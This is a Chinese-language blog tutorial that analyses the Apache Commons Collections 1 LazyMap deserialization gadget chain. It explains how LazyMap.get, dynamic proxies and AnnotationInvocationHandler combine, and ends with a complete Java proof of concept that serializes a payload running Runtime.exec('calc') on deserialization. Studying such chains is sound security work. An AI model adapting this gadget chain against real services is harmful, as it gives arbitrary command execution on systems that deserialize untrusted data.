Java 反序列化漏洞-Apache Commons Collections1-LazyMap 攻击链
前言
前面分析完了CC1的TransformedMap攻击链,但考虑到篇幅太大不利于查看,所以单独再写一篇CC1的LazyMap攻击链
漏洞挖掘
本地弹出POC
这条链前面的挖掘就不说了,挖掘过程可以看看上一篇文章
现在我们需要找到一个地方可以自动调用transform()方法
接下来我们看看lazymap的get方法
可以看到get方法里面调用了transform方法,get() 方法获取不到 key 的时候触发 transform,所以我们构造时就不放key了。接下来看看factory是否可控
通过构造函数我们可以看到factory可控,于是乎按照构造函数的规则进行构造并调用get方法
成功弹出计算器,但这只能在本地使用并不是我们想要的
AnnotationInvocationHandler.invoke()
invoke()方法里调用了get()方法,现在我们需要了解下前面的this.memberValues是否可控,如果可控那就可以传入上面的POC
通过AnnotationInvocationHandler的构造函数我们发现其可控
但这还远远不行,因为前面还有一堆的代码,我们希望前面的代码能顺利运行到这里,所以我们先看看前面的代码叭
invoke()方法会根据传入参数,先获取调用方法名和调用参数,然后需要我们调用的方法不能是equals且调用方法是无参的。然后因为下面switch(var7)我们要让他default,所以var7我们要保持它的值是-1,所以我们传入的方法也不能是toString,hashCode,annotationType。
接下来我们需要到readobject去找一下有没有调用一些满足条件的无参方法,这样反序列化时配合动态代理机制可以自动跳到这里
这里我们要补充一个知识点叫做Java动态代理,java.lang.reflect.InvocationHandler是Java动态代理中非常重要的一个类,其中Object invoke(Object proxy, Method method, Object[] args) 定义了代理对象调用方法时希望执行的动作,用于集中处理在动态代理类对象上的方法调用。总结起来的一句话就是被动态代理的对象调用任意方法都会调用对应的InvocationHandler 的 invoke 方法。
正好这里是在AnnotationInvocationHandler.invoke(),那我们可以用动态代理机制进入invoke()方法。
AnnotationInvocationHandler.readObject()
通过阅读代码我们可以看到readObject方法不需要做什么处理就会调用一个无参方法entrySet(),那我们只要控制this.memberValues为我们的动态代理实例对象就可以进入invoke方法了
进入动态代理实例的invoke方法后,我们看到this.memberValues调用了get方法,根据上面的POC,我们要让lazymap调用get方法,所以我们控制this.memberValues为lazymap即可,完整POC如下
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class ChainedTransformertest {
public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
// 结合 ChainedTransformer
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
Map lazyMap = LazyMap.decorate(new HashMap(), chain);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);
// 创建携带着 LazyMap 的 AnnotationInvocationHandler 实例
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, lazyMap);
// 创建LazyMap的动态代理类实例
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler);
// 使用动态代理初始化 AnnotationInvocationHandler
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, mapProxy);
ByteArrayOutputStream exp=new ByteArrayOutputStream();
ObjectOutputStream oos=new ObjectOutputStream(exp);
oos.writeObject(invocationHandler);
oos.flush();
oos.close();
ByteArrayInputStream out=new ByteArrayInputStream(exp.toByteArray());
ObjectInputStream ois=new ObjectInputStream(out);
Object obj=(Object) ois.readObject();
}
}
最后借用ysoserial的顺序图来说明流程
参考文章
https://su18.org/post/ysoserial-su18-2/#%E6%94%BB%E5%87%BB%E6%9E%84%E9%80%A0